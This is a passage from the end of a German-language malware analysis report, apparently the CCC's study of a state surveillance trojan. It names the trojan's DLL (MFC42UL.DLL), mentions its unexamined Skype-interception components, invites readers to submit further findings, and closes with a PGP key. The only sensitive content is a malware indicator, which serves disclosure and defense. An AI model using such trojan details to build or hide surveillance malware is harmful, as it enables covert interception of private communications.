In dem ungenutzten Userspace-Shellcode-Codepfad findet sich hartkodiert der Name der Trojaner-DLL: MFC42UL.DLL

SKYPE-INTERFACE

Da das Anzapfen von Skype und anderen verschlüsselten Kommunikationsprotokollen letztlich der Grund und die Legitimation einer „Quellen-TKÜ“ sind, haben wir die entsprechenden Teile im Trojaner noch nicht näher untersucht. Die Anwesenheit der entsprechenden Komponenten im Code ist jedoch offensichtlich. Wir sind natürlich dankbar über jeden, der sich der Skype-Thematik in der vorliegenden Schadsoftware annimmt und uns die Dokumentation sendet, damit wir dieses für die Nachwelt sammeln und veröffentlichen können.

EINSENDUNG WEITERER ANALYSE-ERGEBNISSE

Wir sind für weitere Hinweise auf gefundene Funktionen, Parameter und Fehler sehr dankbar und werden diese gern in zukünftige Versionen dieses Berichts integrieren. Bitte vermerkt bei der Einsendung, ob und wenn ja mit welchem Namen ihr dafür erwähnt werden möchtet. Der PGP-Key für die Einsende-Mail-adresse 0zapftis@ccc.de **findet sich untenstehend.**

PGP-Key für 0zapftis@ccc.de

Fingerprint: 62D7 AAB0 7A2F 2ABD 2899 91E3 F06D 0BAB 93C1 30A0

-----BEGIN PGP PUBLIC KEY BLOCK-----
Comment: GPGTools - http://gpgtools.org

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
ZQ==
=jS/I
-----END PGP PUBLIC KEY BLOCK-----